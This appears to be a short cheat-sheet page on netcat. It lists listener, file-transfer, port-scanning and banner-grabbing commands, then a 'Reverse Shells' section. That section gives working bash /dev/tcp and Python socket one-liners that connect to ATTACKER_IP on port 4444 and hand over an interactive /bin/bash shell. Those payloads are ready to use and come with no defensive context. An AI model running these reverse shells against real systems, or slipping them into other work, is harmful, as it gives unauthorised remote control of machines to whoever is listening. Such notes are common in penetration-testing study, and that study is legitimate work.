Tools & Utility
Netcat
The Swiss Army knife of networking - a versatile tool for reading and writing data across network connections.
#netcat#networking#shells#reverse-shell
Netcat: The Swiss Army Knife of Networking
Netcat (nc) is a versatile networking utility for reading/writing data across TCP and UDP connections.
Common Uses
bash
# Listener (Reverse Shell)
nc -lvnp 4444
Connect to a target
nc 192.168.1.1 4444
File Transfer (Sender)
nc 192.168.1.1 4444 < file.txt
File Transfer (Receiver)
nc -lvnp 4444 > file.txt
Port Scanning
nc -zv 192.168.1.1 1-1000
Banner Grabbing
nc -v 192.168.1.1 80Reverse Shells
bash
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'